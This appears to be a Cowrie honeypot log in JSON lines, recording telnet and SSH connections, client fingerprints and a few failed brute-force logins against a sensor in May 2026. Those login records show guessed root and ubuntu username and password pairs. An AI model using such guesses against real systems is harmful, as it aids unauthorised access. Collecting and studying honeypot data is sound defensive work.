{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":43392,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a04c1044f7","protocol":"telnet","message":"New connection: 162.55.233.176:43392 (159.203.135.109:23) [session: b4a04c1044f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:59.531990Z"}
{"eventid":"cowrie.session.closed","duration":31.29776620864868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:49:59.755963Z","src_ip":"162.55.233.176","session":"ffd638f9aa99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:01.839474Z","src_ip":"213.209.159.158","session":"0e84dfcf1b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":30004,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ebce400f7f9","protocol":"ssh","message":"New connection: 213.209.159.158:30004 (10.17.0.5:22) [session: 9ebce400f7f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:01.920826Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59598,"dst_ip":"159.203.135.109","dst_port":23,"session":"71ac5b31725e","protocol":"telnet","message":"New connection: 162.55.233.176:59598 (159.203.135.109:23) [session: 71ac5b31725e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:03.558495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:04.025173Z","src_ip":"213.209.159.158","session":"9ebce400f7f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:04.034600Z","src_ip":"213.209.159.158","session":"9ebce400f7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59612,"dst_ip":"159.203.135.109","dst_port":23,"session":"75a077a4724b","protocol":"telnet","message":"New connection: 162.55.233.176:59612 (159.203.135.109:23) [session: 75a077a4724b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:04.390761Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59616,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b006df73609","protocol":"telnet","message":"New connection: 162.55.233.176:59616 (159.203.135.109:23) [session: 5b006df73609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:04.722825Z"}
{"eventid":"cowrie.session.closed","duration":52.99926710128784,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:08.262912Z","src_ip":"188.208.141.113","session":"6a7239e49ee6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.23175382614136,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:09.901929Z","src_ip":"206.189.32.23","session":"6fb3c5d53061","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.150693655014038,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:10.725764Z","src_ip":"162.55.233.176","session":"11dacec7a590","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":59628,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b6098661a3a","protocol":"telnet","message":"New connection: 162.55.233.176:59628 (159.203.135.109:23) [session: 4b6098661a3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:10.993876Z"}
{"eventid":"cowrie.session.closed","duration":43.2075138092041,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:11.458024Z","src_ip":"188.208.141.113","session":"fb0eb6b77d8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43792,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5fb45bb1b39","protocol":"telnet","message":"New connection: 206.189.32.23:43792 (10.17.0.5:23) [session: c5fb45bb1b39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:11.548872Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51546,"dst_ip":"10.17.0.5","dst_port":23,"session":"6617f6ee4670","protocol":"telnet","message":"New connection: 188.208.141.113:51546 (10.17.0.5:23) [session: 6617f6ee4670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:12.373724Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":14460,"dst_ip":"10.17.0.5","dst_port":22,"session":"adc826b17840","protocol":"ssh","message":"New connection: 38.137.11.14:14460 (10.17.0.5:22) [session: adc826b17840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:12.381804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:12.387216Z","src_ip":"38.137.11.14","session":"adc826b17840","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:12.620178Z","src_ip":"38.137.11.14","session":"adc826b17840","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.162184953689575,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:12.880581Z","src_ip":"206.189.32.23","session":"91008bf3b3aa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"voek","message":"login attempt [root/voek] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:13.537820Z","src_ip":"213.209.159.158","session":"9ebce400f7f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#1234","message":"login attempt [ubuntu/ubuntu#1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:13.604417Z","src_ip":"38.137.11.14","session":"adc826b17840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53966,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a161d6fb702","protocol":"telnet","message":"New connection: 162.55.233.176:53966 (159.203.135.109:23) [session: 0a161d6fb702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:13.835379Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42854,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d171d650808","protocol":"telnet","message":"New connection: 206.189.32.23:42854 (10.17.0.5:23) [session: 4d171d650808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:14.441883Z"}
{"eventid":"cowrie.session.closed","duration":0.0055179595947265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:14.447297Z","src_ip":"206.189.32.23","session":"4d171d650808","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53972,"dst_ip":"159.203.135.109","dst_port":23,"session":"243b1ae88e94","protocol":"telnet","message":"New connection: 162.55.233.176:53972 (159.203.135.109:23) [session: 243b1ae88e94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:14.803213Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:14.839996Z","src_ip":"38.137.11.14","session":"adc826b17840","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53984,"dst_ip":"159.203.135.109","dst_port":23,"session":"28ccdd9964c7","protocol":"telnet","message":"New connection: 162.55.233.176:53984 (159.203.135.109:23) [session: 28ccdd9964c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:15.236833Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53992,"dst_ip":"159.203.135.109","dst_port":23,"session":"0293e0a7451c","protocol":"telnet","message":"New connection: 162.55.233.176:53992 (159.203.135.109:23) [session: 0293e0a7451c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:16.486053Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48862,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca65ea1fa8d5","protocol":"telnet","message":"New connection: 206.189.32.23:48862 (10.17.0.5:23) [session: ca65ea1fa8d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:17.084934Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:17.112306Z","src_ip":"213.209.159.158","session":"9ebce400f7f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":3514,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc93db90c432","protocol":"ssh","message":"New connection: 213.209.159.158:3514 (10.17.0.5:22) [session: dc93db90c432]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:17.218451Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":53994,"dst_ip":"159.203.135.109","dst_port":23,"session":"3476329fc8ac","protocol":"telnet","message":"New connection: 162.55.233.176:53994 (159.203.135.109:23) [session: 3476329fc8ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:17.363365Z"}
{"eventid":"cowrie.session.closed","duration":30.663294076919556,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:17.435713Z","src_ip":"162.55.233.176","session":"b7e80b608b9f","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:19.616156Z","src_ip":"213.209.159.158","session":"dc93db90c432","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:19.620718Z","src_ip":"213.209.159.158","session":"dc93db90c432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.33298110961914,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:19.713418Z","src_ip":"206.189.32.23","session":"bf5951f1ffa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.66728639602661,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:20.677425Z","src_ip":"206.189.32.23","session":"61343ade7955","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55472,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d1f845ff61","protocol":"telnet","message":"New connection: 188.208.141.113:55472 (10.17.0.5:23) [session: f8d1f845ff61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:23.819042Z"}
{"eventid":"cowrie.session.closed","duration":37.09668517112732,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:24.882777Z","src_ip":"162.55.233.176","session":"34e15fe1e7a8","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"VNcdn2022","message":"login attempt [root/VNcdn2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:28.942844Z","src_ip":"213.209.159.158","session":"dc93db90c432","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.16300630569458,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:28.981915Z","src_ip":"188.208.141.113","session":"f8d1f845ff61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34298,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d3f680fc1f5","protocol":"telnet","message":"New connection: 162.55.233.176:34298 (159.203.135.109:23) [session: 0d3f680fc1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:29.617281Z"}
{"eventid":"cowrie.session.closed","duration":31.871816396713257,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:31.381164Z","src_ip":"162.55.233.176","session":"1ae1f2ababef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.164453983306885,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:31.705365Z","src_ip":"162.55.233.176","session":"4a9459cf902b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:32.009089Z","src_ip":"213.209.159.158","session":"dc93db90c432","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":17852,"dst_ip":"10.17.0.5","dst_port":22,"session":"b92afb299da3","protocol":"ssh","message":"New connection: 213.209.159.158:17852 (10.17.0.5:22) [session: b92afb299da3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:32.116512Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51680,"dst_ip":"159.203.135.109","dst_port":23,"session":"145a09eb28c3","protocol":"telnet","message":"New connection: 162.55.233.176:51680 (159.203.135.109:23) [session: 145a09eb28c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:33.008307Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51696,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cee32896a48","protocol":"telnet","message":"New connection: 162.55.233.176:51696 (159.203.135.109:23) [session: 0cee32896a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:33.248686Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51706,"dst_ip":"159.203.135.109","dst_port":23,"session":"537e369184d2","protocol":"telnet","message":"New connection: 162.55.233.176:51706 (159.203.135.109:23) [session: 537e369184d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:34.010254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:34.665972Z","src_ip":"213.209.159.158","session":"b92afb299da3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:34.669803Z","src_ip":"213.209.159.158","session":"b92afb299da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":35456,"dst_ip":"10.17.0.5","dst_port":23,"session":"76a29dbbd012","protocol":"telnet","message":"New connection: 188.208.141.113:35456 (10.17.0.5:23) [session: 76a29dbbd012]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:35.244126Z"}
{"eventid":"cowrie.session.closed","duration":35.74030017852783,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:35.270426Z","src_ip":"162.55.233.176","session":"b4a04c1044f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39570,"dst_ip":"10.17.0.5","dst_port":23,"session":"8b7b7ed83738","protocol":"telnet","message":"New connection: 206.189.32.23:39570 (10.17.0.5:23) [session: 8b7b7ed83738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:37.289754Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41194,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd646263d8a1","protocol":"telnet","message":"New connection: 206.189.32.23:41194 (10.17.0.5:23) [session: bd646263d8a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:39.866374Z"}
{"eventid":"cowrie.session.closed","duration":36.501577854156494,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:40.892218Z","src_ip":"162.55.233.176","session":"75a077a4724b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.72870492935181,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:41.287041Z","src_ip":"162.55.233.176","session":"71ac5b31725e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51712,"dst_ip":"159.203.135.109","dst_port":23,"session":"372b35a3e6e7","protocol":"telnet","message":"New connection: 162.55.233.176:51712 (159.203.135.109:23) [session: 372b35a3e6e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:41.519427Z"}
{"eventid":"cowrie.session.closed","duration":31.32448101043701,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:42.318231Z","src_ip":"162.55.233.176","session":"4b6098661a3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40150,"dst_ip":"10.17.0.5","dst_port":23,"session":"c76f959d02d3","protocol":"telnet","message":"New connection: 206.189.32.23:40150 (10.17.0.5:23) [session: c76f959d02d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:42.834006Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":60120,"dst_ip":"159.203.135.109","dst_port":23,"session":"64cd913f9abe","protocol":"telnet","message":"New connection: 162.55.233.176:60120 (159.203.135.109:23) [session: 64cd913f9abe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:43.406114Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"voyous","message":"login attempt [root/voyous] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:50:43.850334Z","src_ip":"213.209.159.158","session":"b92afb299da3","protocol":"ssh"}
